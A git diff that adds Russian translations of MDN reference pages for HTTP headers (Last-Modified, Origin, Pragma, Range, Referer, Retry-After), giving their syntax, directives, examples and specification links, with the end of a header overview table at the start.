+   <td>
+    <p>Содержит URL-адрес ресурса, из которого был запрошен обрабатываемый запрос. Если запрос поступил из закладки, прямого ввода адреса пользователем или с помощью других методов, при которых исходного ресурса нет, то этот заголовок отсутствует или имеет значение "about:blank".</p>
+
+    <div class="note">
+    <p>Это ошибочное имя заголовка (referer, вместо referrer) было введено в спецификацию HTTP/0.9, и ошибка должна была быть сохранена в более поздних версиях протокола для совместимости.</p>
+    </div>
+   </td>
+   <td></td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code><a href="/en-US/docs/Web/HTTP/Headers/Retry-After" title="en/Retry-After">Retry-After</a></code></td>
+   <td></td>
+   <td></td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>Sec-Websocket-Extensions</code></td>
+   <td></td>
+   <td></td>
+   <td> <a class="external" href="http://tools.ietf.org/html/draft-ietf-hybi-thewebsocketprotocol-07" title="http://tools.ietf.org/html/draft-ietf-hybi-thewebsocketprotocol-07">Websockets</a></td>
+  </tr>
+  <tr>
+   <td><code>Sec-Websocket-Key</code></td>
+   <td></td>
+   <td></td>
+   <td> <a class="external" href="http://tools.ietf.org/html/draft-ietf-hybi-thewebsocketprotocol-07" title="http://tools.ietf.org/html/draft-ietf-hybi-thewebsocketprotocol-07">Websockets</a></td>
+  </tr>
+  <tr>
+   <td><code>Sec-Websocket-Origin</code></td>
+   <td></td>
+   <td></td>
+   <td> <a class="external" href="http://tools.ietf.org/html/draft-ietf-hybi-thewebsocketprotocol-07" title="http://tools.ietf.org/html/draft-ietf-hybi-thewebsocketprotocol-07">Websockets</a></td>
+  </tr>
+  <tr>
+   <td><code>Sec-Websocket-Protocol</code></td>
+   <td></td>
+   <td></td>
+   <td> <a class="external" href="http://tools.ietf.org/html/draft-ietf-hybi-thewebsocketprotocol-07" title="http://tools.ietf.org/html/draft-ietf-hybi-thewebsocketprotocol-07">Websockets</a></td>
+  </tr>
+  <tr>
+   <td><code>Sec-Websocket-Version</code></td>
+   <td></td>
+   <td></td>
+   <td> <a class="external" href="http://tools.ietf.org/html/draft-ietf-hybi-thewebsocketprotocol-07" title="http://tools.ietf.org/html/draft-ietf-hybi-thewebsocketprotocol-07">Websockets</a></td>
+  </tr>
+  <tr>
+   <td><code><a href="/en-US/docs/Web/HTTP/Headers/Server" title="en/Server">Server</a></code></td>
+   <td></td>
+   <td></td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code><a href="/en-US/docs/Web/HTTP/Headers/Set-Cookie" title="en/Set-Cookie">Set-Cookie</a></code></td>
+   <td></td>
+   <td></td>
+   <td><a class="external" href="http://www.ietf.org/rfc/rfc2109.txt" title="http://www.ietf.org/rfc/rfc2109.txt">RFC 2109</a></td>
+  </tr>
+  <tr>
+   <td><code><a href="/en-US/docs/Web/HTTP/Headers/Set-Cookie2" title="en/Set-Cookie2">Set-Cookie2</a></code></td>
+   <td></td>
+   <td></td>
+   <td><a class="external" href="http://www.ietf.org/rfc/rfc2965.txt" title="http://www.ietf.org/rfc/rfc2965.txt">RFC 2965</a></td>
+  </tr>
+  <tr>
+   <td><code>Strict-Transport-Security</code></td>
+   <td></td>
+   <td><a href="/en-US/docs/Security/HTTP_Strict_Transport_Security" title="en/Security/HTTP Strict Transport Security">HTTP Strict Transport Security</a></td>
+   <td><a class="external" href="http://tools.ietf.org/html/draft-hodges-strict-transport-sec-02" title="http://tools.ietf.org/html/draft-hodges-strict-transport-sec-02">IETF reference</a></td>
+  </tr>
+  <tr>
+   <td><code>TCN</code></td>
+   <td></td>
+   <td><a href="/ru/docs/Web/HTTP/Content_negotiation" title="ru/HTTP/Content negotiation">HTTP Content Negotiation</a></td>
+   <td>RFC 2295, §8.5</td>
+  </tr>
+  <tr>
+   <td><code><a href="/en-US/docs/Web/HTTP/Headers/TE" title="en/TE">TE</a></code></td>
+   <td></td>
+   <td></td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code><a href="/en-US/docs/Web/HTTP/Headers/Trailer" title="en/Trailer">Trailer</a></code></td>
+   <td>lists the headers that will be transmitted after the message body, in a trailer block. This allows servers to compute some values, like <code>Content-MD5:</code> while transmitting the data. Note that the <code>Trailer:</code> header must not list the <code>Content-Length:,</code> <code>Trailer:</code> or <code>Transfer-Encoding:</code> headers.</td>
+   <td></td>
+   <td><a class="external" href="http://tools.ietf.org/html/rfc2616#section-14.40" title="http://tools.ietf.org/html/rfc2616#section-14.40">RFC 2616, §14.40</a></td>
+  </tr>
+  <tr>
+   <td><code><a href="/en-US/docs/Web/HTTP/Headers/Transfer-Encoding" title="en/Transfer-Encoding">Transfer-Encoding</a></code></td>
+   <td></td>
+   <td></td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code><a href="/en-US/docs/Web/HTTP/Headers/Upgrade" title="en/Upgrade">Upgrade</a></code></td>
+   <td></td>
+   <td></td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code><a href="/en-US/docs/Web/HTTP/Content_negotiation#The_User-Agent.3a_header" title="https://developer.mozilla.org/en/HTTP/Content_negotiation#The_User-Agent.3a_header">User-Agent</a></code></td>
+   <td></td>
+   <td>for Gecko's user agents see the <a href="/en-US/docs/User_Agent_Strings_Reference" title="En/User Agent Strings Reference">User Agents Reference</a></td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>Variant-Vary</code></td>
+   <td></td>
+   <td><a href="/ru/docs/Web/HTTP/Content_negotiation" title="ru/HTTP/Content negotiation">HTTP Content Negotiation</a></td>
+   <td>RFC 2295, §8.6</td>
+  </tr>
+  <tr>
+   <td><code><a href="/en-US/docs/Web/HTTP/Content_negotiation#The_Vary.3a_response_header" title="https://developer.mozilla.org/en/HTTP/Content_negotiation#The_Vary.3a_response_header">Vary</a></code></td>
+   <td>lists the headers used as criteria for choosing a specific content by the web server. This server is important for efficient and correct caching of the resource sent.</td>
+   <td><a href="/ru/docs/Web/HTTP/Content_negotiation" title="ru/HTTP/Content_negotiation">HTTP Content Negotiation</a> &amp; <a href="/en-US/docs/HTTP_Caching_FAQ" title="en/HTTP Caching FAQ">HTTP Caching FAQ</a></td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code><a href="/en-US/docs/Web/HTTP/Headers/Via" title="en/Via">Via</a></code></td>
+   <td></td>
+   <td></td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code><a href="/en-US/docs/Web/HTTP/Headers/Warning" title="en/Warning">Warning</a></code></td>
+   <td></td>
+   <td></td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code><a href="/en-US/docs/Web/HTTP/Headers/WWW-Authenticate" title="en/WWW-Authenticate">WWW-Authenticate</a></code></td>
+   <td></td>
+   <td></td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>X-Content-Duration</code></td>
+   <td></td>
+   <td><a href="/en-US/docs/Configuring_servers_for_Ogg_media" title="https://developer.mozilla.org/en/Configuring_servers_for_Ogg_media">Configuring servers for Ogg media</a></td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>X-Content-Security-Policy</code></td>
+   <td></td>
+   <td>Using <a href="/en-US/docs/Security/CSP/Using_Content_Security_Policy" title="en/Security/CSP/Using Content Security Policy">Content Security Policy</a></td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>X-DNSPrefetch-Control</code></td>
+   <td></td>
+   <td><a href="/en-US/docs/Controlling_DNS_prefetching" title="En/Controlling DNS prefetching">Controlling DNS prefetching</a></td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>X-Frame-Options</code></td>
+   <td></td>
+   <td><a href="/en-US/docs/The_X-FRAME-OPTIONS_response_header" title="en/The X-FRAME-OPTIONS response header">The XFrame-Option Response Header</a></td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>X-Requested-With</code></td>
+   <td>Often used with the value "XMLHttpRequest" when it is the case</td>
+   <td></td>
+   <td>Not standard</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Примечание">Примечание</h2>
+
+<div class="note">
+<p><strong>Note:</strong> The Keep-Alive request header is not sent by {{Gecko ("5.0") }}; previous versions did send it but it was not formatted correctly, so the decision was made to remove it for the time being. The {{ httpheader("Connection") }} or {{ httpheader("Proxy-Connection") }} header is still sent, however, with the value "keep-alive".</p>
+</div>
+
+<h2 id="Смотри_также">Смотри также</h2>
+
+<p><a class="external" href="http://en.wikipedia.org/wiki/List_of_HTTP_header_fields">Wikipedia page on List of HTTP headers</a></p>
diff --git a/files/ru/web/http/заголовки/last-modified/index.html b/files/ru/web/http/заголовки/last-modified/index.html
new file mode 100644
index 0000000000..e5d4b34510
--- /dev/null
+++ b/files/ru/web/http/заголовки/last-modified/index.html
@@ -0,0 +1,94 @@
+---
+title: Last-Modified
+slug: Web/HTTP/Заголовки/Last-Modified
+tags:
+  - HTTP
+  - HTTP Header
+  - Reference
+  - Response Header
+translation_of: Web/HTTP/Headers/Last-Modified
+---
+<div>{{HTTPSidebar}}</div>
+
+<p>Заголовок <strong><code>Last-Modified</code></strong> в ответе HTTP содержит дату и время, в которую, по мнению удаленного сервера, запрашиваемый ресурс был изменен. Он используется в качестве средства проверки для определения того, остался ли ресурс неизменным. Этот заголовок менее надежный, чем {{HTTPHeader("ETag")}}, и используется как резервный механизм. Условный запрос, содержащий заголовок {{HTTPHeader("If-Modified-Since")}} или {{HTTPHeader("If-Unmodified-Since")}} позволяет серверу использовать для сравнения эту дату.</p>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row">Тип заголовка</th>
+   <td>{{Glossary("Response header")}}</td>
+  </tr>
+  <tr>
+   <th scope="row">{{Glossary("Forbidden header name")}}</th>
+   <td>нет</td>
+  </tr>
+  <tr>
+   <th scope="row">{{Glossary("Simple response header", "CORS-safelisted response-header")}}</th>
+   <td>да</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Синтакс">Синтакс</h2>
+
+<pre class="syntaxbox">Last-Modified: &lt;имя-дня&gt;, &lt;номер-дня&gt; &lt;имя-месяца&gt; &lt;год&gt; &lt;час&gt;:&lt;минута&gt;:&lt;секунда&gt; GMT
+</pre>
+
+<h2 id="Директивы">Директивы</h2>
+
+<dl>
+ <dt>&lt;имя-дня&gt;</dt>
+ <dd>Одно из: "Mon", "Tue", "Wed", "Thu", "Fri", "Sat", или "Sun" (чувствительно к регистру).</dd>
+ <dt>&lt;номер-дня&gt;</dt>
+ <dd>Номер дня из двух цифр, например "04" или "23".</dd>
+ <dt>&lt;имя-месяца&gt;</dt>
+ <dd>Одно из: "Jan", "Feb", "Mar", "Apr", "May", "Jun", "Jul", "Aug", "Sep", "Oct", "Nov", "Dec" (чувствительно к регистру).</dd>
+ <dt>&lt;год&gt;</dt>
+ <dd>Номер года из четырёх цифр, например "1990" или "2016".</dd>
+ <dt>&lt;час&gt;</dt>
+ <dd>Номер часа из двух цифр, например "09" или "23".</dd>
+ <dt>&lt;минута&gt;</dt>
+ <dd>Номер минуты из двух цифр, например "04" или "59".</dd>
+ <dt>&lt;секунда&gt;</dt>
+ <dd>Номер секунды из двух цифр, например "04" или "59".</dd>
+ <dt><code>GMT</code></dt>
+ <dd>
+ <p>Greenwich Mean Time. HTTP даты всегда представлены GMT, и никогда — в локальном поясе.</p>
+ </dd>
+</dl>
+
+<h2 id="Примеры">Примеры</h2>
+
+<pre>Last-Modified: Wed, 21 Oct 2015 07:28:00 GMT
+</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Title</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{RFC("7232", "Last-Modified", "2.2")}}</td>
+   <td>Hypertext Transfer Protocol (HTTP/1.1): Conditional Requests</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("http.headers.Last-Modified")}}</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>{{HTTPHeader("If-Modified-Since")}}</li>
+ <li>{{HTTPHeader("If-Unmodified-Since")}}</li>
+ <li>{{HTTPHeader("Etag")}}</li>
+</ul>
diff --git a/files/ru/web/http/заголовки/origin/index.html b/files/ru/web/http/заголовки/origin/index.html
new file mode 100644
index 0000000000..8b8ad319c7
--- /dev/null
+++ b/files/ru/web/http/заголовки/origin/index.html
@@ -0,0 +1,77 @@
+---
+title: Origin
+slug: Web/HTTP/Заголовки/Origin
+translation_of: Web/HTTP/Headers/Origin
+---
+<div>{{HTTPSidebar}}</div>
+
+<div>Заголовок запроса <strong><code>Origin</code></strong> показывает откуда будет производиться загрузка. Он не включает в себя какую-либо информацию о пути, содержит в себе лишь имя сервера. Заголовок отправляется как с {{Glossary("CORS")}}, так и с {{HTTPMethod("POST")}} запросами. Он похож на заголовок {{HTTPHeader("Referer")}}, но, в отличие от этого заголовка, не раскрывает весь путь.</div>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row">Header type</th>
+   <td>{{Glossary("Request header")}}</td>
+  </tr>
+  <tr>
+   <th scope="row">{{Glossary("Forbidden header name")}}</th>
+   <td>yes</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox">Origin: ""
+Origin: &lt;протокол&gt; "://" &lt;имя_хоста&gt; [ ":" &lt;порт&gt; ]
+</pre>
+
+<p><code>Origin</code> может быть пустой строкой: это полезно, например, если источником данных будет URL.</p>
+
+<h2 id="Директивы">Директивы</h2>
+
+<dl>
+ <dt>&lt;протокол&gt;</dt>
+ <dd>Используемый протокол. Обычно это HTTP протокол, или его защищённая версия HTTPS.</dd>
+ <dt>&lt;имя_хоста&gt;</dt>
+ <dd>Доменное имя сервера (для виртуального хостинга) или IP.</dd>
+ <dt>&lt;порт&gt; {{optional_inline}}</dt>
+ <dd>Номер TCP порта, который сервер будет слушать. Если порт не задан, будет использован порт по умолчанию для указаного сервиса (например "80" для HTTP).</dd>
+</dl>
+
+<h2 id="Примеры">Примеры</h2>
+
+<pre>Origin: https://developer.mozilla.org</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{RFC("6454", "Origin", "7")}}</td>
+   <td>The Web Origin Concept</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('Fetch','#origin-header','Origin header')}}</td>
+   <td>Supplants the <code>Origin</code> header as defined in RFC6454.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузером">Совместимость с браузером</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("http.headers.Origin")}}</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>{{HTTPHeader("Host")}}</li>
+ <li>{{HTTPHeader("Referer")}}</li>
+ <li><a href="/en-US/docs/Web/Security/Same-origin_policy">Same-origin policy</a></li>
+</ul>
diff --git a/files/ru/web/http/заголовки/pragma/index.html b/files/ru/web/http/заголовки/pragma/index.html
new file mode 100644
index 0000000000..c53891dd44
--- /dev/null
+++ b/files/ru/web/http/заголовки/pragma/index.html
@@ -0,0 +1,78 @@
+---
+title: Pragma
+slug: Web/HTTP/Заголовки/Pragma
+tags:
+  - Прагма
+  - кэш
+translation_of: Web/HTTP/Headers/Pragma
+---
+<div>{{HTTPSidebar}}</div>
+
+<p>Общий заголовок <strong><code>Pragma</code></strong> HTTP / 1.0 - это заголовок, зависящий от реализации, который может иметь различные эффекты в цепочке запрос-ответ. Он используется для обратной совместимости с кэшами HTTP / 1.0, где заголовок <code>Cache-Control</code> HTTP / 1.1 еще не присутствует.</p>
+
+<div class="note">
+<p><strong>Примечание:</strong> <strong><code>Pragma</code></strong> не указана для ответов HTTP и поэтому не является надежной заменой общего заголовка управления кэшем HTTP/1.1, хотя она ведет себя так же, как <code>Cache-Control: no-cache</code>, если поле заголовка управления кэшем опущено в запросе. Используйте <code>Pragma</code> только для обратной совместимости с клиентами HTTP / 1.0.</p>
+</div>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row">Header type</th>
+   <td>{{Glossary("General header")}}, но поведение ответа не указано и, следовательно, зависит от реализации.</td>
+  </tr>
+  <tr>
+   <th scope="row">{{Glossary("Forbidden header name")}}</th>
+   <td>no</td>
+  </tr>
+  <tr>
+   <th scope="row">{{Glossary("CORS-safelisted response header")}}</th>
+   <td>yes</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox">Pragma: no-cache
+</pre>
+
+<h2 id="Директива">Директива</h2>
+
+<dl>
+ <dt>no-cache</dt>
+ <dd>
+ <p>То же, что и <code>Cache-Control: no-cache</code>. Заставляет кэши отправлять запрос на исходный сервер для проверки перед выпуском кэшированной копии.</p>
+ </dd>
+</dl>
+
+<h2 id="Образец">Образец</h2>
+
+<pre>Pragma: no-cache</pre>
+
+<h2 id="Технические_требования">Технические требования</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Название</th>
+  </tr>
+  <tr>
+   <td>{{RFC("7234", "Pragma", "5.4")}}</td>
+   <td>Hypertext Transfer Protocol (HTTP/1.1): Caching</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_браузера">Совместимость браузера</h2>
+
+<p class="hidden">Таблица совместимости на этой странице создается из структурированных данных. Если вы хотите внести свой вклад в данные, пожалуйста, проверьте <strong><code>https://github.com/mdn/browser-compat-data</code></strong> и отправьте нам запрос.</p>
+
+<p>{{Compat("http.headers.Pragma")}}</p>
+
+<h2 id="Смотреть_также">Смотреть также</h2>
+
+<ul>
+ <li>{{HTTPHeader("Cache-Control")}}</li>
+ <li>{{HTTPHeader("Expires")}}</li>
+</ul>
diff --git a/files/ru/web/http/заголовки/range/index.html b/files/ru/web/http/заголовки/range/index.html
new file mode 100644
index 0000000000..62b6d34a86
--- /dev/null
+++ b/files/ru/web/http/заголовки/range/index.html
@@ -0,0 +1,88 @@
+---
+title: Range
+slug: Web/HTTP/Заголовки/Range
+translation_of: Web/HTTP/Headers/Range
+---
+<div>{{HTTPSidebar}}</div>
+
+<p>Заголовок запроса <strong><code>Range</code></strong> указывает серверу какую часть документа ему необходимо вернуть. Несколько частей документа может быть запрошено с помощью заголовка <code>Range</code> за один раз, и сервер может вернуть все эти части через многокомпонентный документ. При отправке данных отдельными частями, сервер использует код ответа {{HTTPStatus("206")}} <code>Partial Content</code>. Если запрашиваемые диапазоны данных не верны, сервер возвращает ошибку {{HTTPStatus("416")}} <code>Range Not Satisfiable</code>. Сервер так же может проигнорировать заголовок <code>Range</code> и вернуть документ целиком с кодом ответа {{HTTPStatus("200")}}.</p>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row">Тип заголовка</th>
+   <td>{{Glossary("Request header")}}</td>
+  </tr>
+  <tr>
+   <th scope="row">{{Glossary("Forbidden header name")}}</th>
+   <td>нет</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox">Range: &lt;единица&gt;=&lt;начало-диапазона&gt;-
+Range: &lt;единица&gt;=&lt;начало-диапазона&gt;-&lt;конец-диапазона&gt;
+Range: &lt;единица&gt;=&lt;начало-диапазона&gt;-&lt;конец-диапазона&gt;, &lt;начало-диапазона&gt;-&lt;конец-диапазона&gt;
+Range: &lt;единица&gt;=&lt;начало-диапазона&gt;-&lt;конец-диапазона&gt;, &lt;начало-диапазона&gt;-&lt;конец-диапазона&gt;, &lt;начало-диапазона&gt;-&lt;конец-диапазона&gt;
+Range: &lt;единица&gt;=-&lt;длина-с-конца&gt;</pre>
+
+<h2 id="Директивы">Директивы</h2>
+
+<dl>
+ <dt>&lt;единица&gt;</dt>
+ <dd>Единица, в которой указывается запрашиваемый диапазон. Обычно объявляется, как <code>bytes</code>.</dd>
+</dl>
+
+<dl>
+ <dt>&lt;начало-диапазона&gt;</dt>
+ <dd>Число, в указанных единицах, являющееся началом запрашиваемого диапазона.</dd>
+ <dt>&lt;конец-диапазона&gt;</dt>
+ <dd>Число, в указанных единицах, являющееся концом запрашиваемого диапазона. Это значение не является обязательным и, если его не определять, концом диапазона будет считаться конец документа.</dd>
+ <dt>&lt;длина-с-конца&gt;</dt>
+ <dd>Количество единиц документа, которые необходимо вернуть серверу, начиная с конца документа.</dd>
+</dl>
+
+<h2 id="Примеры">Примеры</h2>
+
+<p>Запрашивание трёх диапазонов байтов из одного файла.</p>
+
+<pre>Range: bytes=200-1000, 2000-6576, 19000-
+</pre>
+
+<p>Запрашивание первых 500 и последних 500 байтов из файла. Запрос может быть отклонён сервером в связи с перекрывающимися диапазонами.</p>
+
+<pre>Range: bytes=0-499, -500
+</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Заголовок</th>
+  </tr>
+  <tr>
+   <td>{{RFC("7233", "Range", "3.1")}}</td>
+   <td>Hypertext Transfer Protocol (HTTP/1.1): Range Requests</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<p class="hidden">Таблица совместимости на этой странице создана на основе отдельно сформированных структурированных данных. Если вы желаете дополнить эти данные, пожалуйста, ознакомьтесь со страницей <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> и отправьте нам свой pull request.</p>
+
+<p>{{Compat("http.headers.Range")}}</p>
+
+<h2 id="Смотрите_так_же">Смотрите так же</h2>
+
+<ul>
+ <li>{{HTTPHeader("If-Range")}}</li>
+ <li>{{HTTPHeader("Content-Range")}}</li>
+ <li>{{HTTPHeader("Content-Type")}}</li>
+ <li>{{HTTPStatus("206")}} <code>Partial Content</code></li>
+ <li>{{HTTPStatus("416")}} <code>Range Not Satisfiable</code></li>
+</ul>
diff --git a/files/ru/web/http/заголовки/referer/index.html b/files/ru/web/http/заголовки/referer/index.html
new file mode 100644
index 0000000000..3ff8b8d51e
--- /dev/null
+++ b/files/ru/web/http/заголовки/referer/index.html
@@ -0,0 +1,94 @@
+---
+title: Referer
+slug: Web/HTTP/Заголовки/Referer
+tags:
+  - HTTP
+  - referer
+  - Заголовок
+translation_of: Web/HTTP/Headers/Referer
+---
+<div>{{HTTPSidebar}}</div>
+
+<p>Заголовок запроса <code><strong>Referer</strong></code> содержит URL исходной страницы, с которой был осуществлен переход на текущую страницу. Заголовок <code>Referer</code> позволяет серверу узнать откуда был осуществлен переход на запрашиваемую страницу. Сервер может анализировать эти данные, записывать их в логи или оптимизировать процесс кэширования.</p>
+
+<p>Обратите внимание, что слово «Referer» на самом деле является неправильным написанием слова «Referrer». См. {{interwiki("wikipedia", "HTTP_referer", "HTTP referer на Wikipedia")}} .</p>
+
+<div class="warning">
+<p>Заголовок <code>Referer</code> может раскрыть информацию пользователя об истории посещенных страниц, что может привести к нарушению приватности.</p>
+
+<p>Поэтому, никогда не ссылайтесь и не включайте на страницу контент без предварительной проверки конфиденциальности, безопасности и сопряженных с этим рисков, в том числе на страницах, которые не содержат информации о риске, но связаны с ним.</p>
+
+<p>К примеру, по умолчанию URL страницы сброса пароля будет попадать на хосты, размещающие контент на странице, и хосты ссылок, нажатых на этой странице. В обоих случаях сторонний хост получит <code>Referer</code> пользователя.</p>
+
+<p>Существует риск, что содержимое, загруженное на страницу получит доступ к <code>Referer</code> из объекта document.referrer.</p>
+
+<p>Остерегайтесь хостов первого эшелона, таких как хост изображений. Несмотря на кажущийся, минимальный риск, они получают ваш <code>Referer</code> и это может стать проблемой безопасности.</p>
+
+<p>Некоторые браузеры, такие как Firefox, также отправляют <code>Referer</code> в представлениях, отличных от страниц HTML. К примеру, JsonView отправит <code>Referer</code> хосту, когда в JSON будет переход по URL-адресу, это может раскрыть приватные данные. Иногда передача <code>Referer</code> случается при работе с API, при некорректных параметрах запроса в API ключах.</p>
+</div>
+
+<p>Браузер не отправляет заголовок <code>Referer</code>, если:</p>
+
+<ul>
+ <li>исходный ресурс -- локальный "файл" или "data" URI,</li>
+ <li>используется незащищенный HTTP-запрос, а исходная страница была получена с защищенным протоколом (HTTPS).</li>
+</ul>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row">Тип заголовка</th>
+   <td>{{Glossary("Request header")}}</td>
+  </tr>
+  <tr>
+   <th scope="row">{{Glossary("Forbidden header name")}}</th>
+   <td>yes</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox">Referer: &lt;url&gt;
+</pre>
+
+<h2 id="Указания">Указания</h2>
+
+<dl>
+ <dt>&lt;url&gt;</dt>
+ <dd>Абсолютный или частичный адрес предыдущей веб-страницы, с которой был осуществлен переход на запрашиваемую страницу. Фрагменты URL-адреса (т.к. #якорь") и данные пользователя(т.к. "логин:пароль" в "https://username:password@example.com/foo/bar/") не включать.</dd>
+</dl>
+
+<h2 id="Пример">Пример</h2>
+
+<pre>Referer: https://developer.mozilla.org/en-US/docs/Web/JavaScript</pre>
+
+<h2 id="Спецификация">Спецификация</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Название</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{RFC("7231", "Referer", "5.5.2")}}</td>
+   <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("http.headers.Referer")}}</p>
+
+<h2 id="См._также">См. также</h2>
+
+<ul>
+ <li>{{interwiki("wikipedia", "HTTP_referer", "HTTP referer on Wikipedia")}}</li>
+ <li>{{HTTPHeader("Referrer-Policy")}}</li>
+</ul>
diff --git a/files/ru/web/http/заголовки/retry-after/index.html b/files/ru/web/http/заголовки/retry-after/index.html
new file mode 100644
index 0000000000..7e37acd766
--- /dev/null
+++ b/files/ru/web/http/заголовки/retry-after/index.html
@@ -0,0 +1,86 @@
+---
+title: Retry-After
+slug: Web/HTTP/Заголовки/Retry-After
+tags:
+  - HTTP
+  - Заголовок
+  - заголовок ответа
+  - ответ
+translation_of: Web/HTTP/Headers/Retry-After
+---
+<div>{{HTTPSidebar}}</div>
+
+<p><strong><code>Retry-After</code></strong> заголовок HTTP ответа показывает, как долго клиент должен подождать перед последующим запросом. Есть три основных случая, в которых следует использовать этот заголовок:</p>
+
+<ul>
+ <li>Когда отправлен с кодом {{HTTPStatus(503)}} (Service Unavailable), отображая примерное время, через которое сервис будет доступен.</li>
+ <li>Когда отправлен с кодом {{HTTPStatus(429)}} (Too Many Requests), отображая, сколько ждать перед следующим запросом.</li>
+ <li>Когда отправлен с кодом переадресации (например, {{HTTPStatus(301)}} (Moved Permanently)), отображает минимальное время, которое клиент должен подождать перед переадресацией.</li>
+</ul>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row">Тип заголовка</th>
+   <td>{{Glossary("Ответный заголовок")}}</td>
+  </tr>
+  <tr>
+   <th scope="row">{{Glossary("Forbidden header name")}}</th>
+   <td>no</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox">Retry-After: &lt;http-date&gt;
+Retry-After: &lt;delay-seconds&gt;
+</pre>
+
+<h2 id="Директивы">Директивы</h2>
+
+<dl>
+ <dt>&lt;http-date&gt;</dt>
+ <dd>Дата, после которой пытаться еще раз. За документацией к HTTP дате, обратитесь сюда: {{HTTPHeader("Дата")}}.</dd>
+ <dt>&lt;delay-seconds&gt;</dt>
+ <dd>Неотрицательное число секунд, показывающее время ожидания перед новым запросом.</dd>
+</dl>
+
+<h2 id="Примеры">Примеры</h2>
+
+<h3 id="Работа_с_запланированным_временем_простоя">Работа с запланированным временем простоя</h3>
+
+<p>Поддержка <code>Retry-After</code> реализована еще не везде. Впрочем, некоторые боты, к примеру Googlebot, понимает заголовок <code>Retry-After</code>. В данном случае полезно отправлять его с кодом {{HTTPStatus(503)}} (Service Unavailable), чтобы поисковики продолжили индексировать после простоя</p>
+
+<pre>Retry-After: Wed, 21 Oct 2015 07:28:00 GMT
+Retry-After: 120
+</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Title</th>
+  </tr>
+  <tr>
+   <td>{{RFC("7231", "Retry-After", "7.1.3")}}</td>
+   <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Поддержка_браузеров">Поддержка браузеров</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("http.headers.Retry-After")}}</p>
+
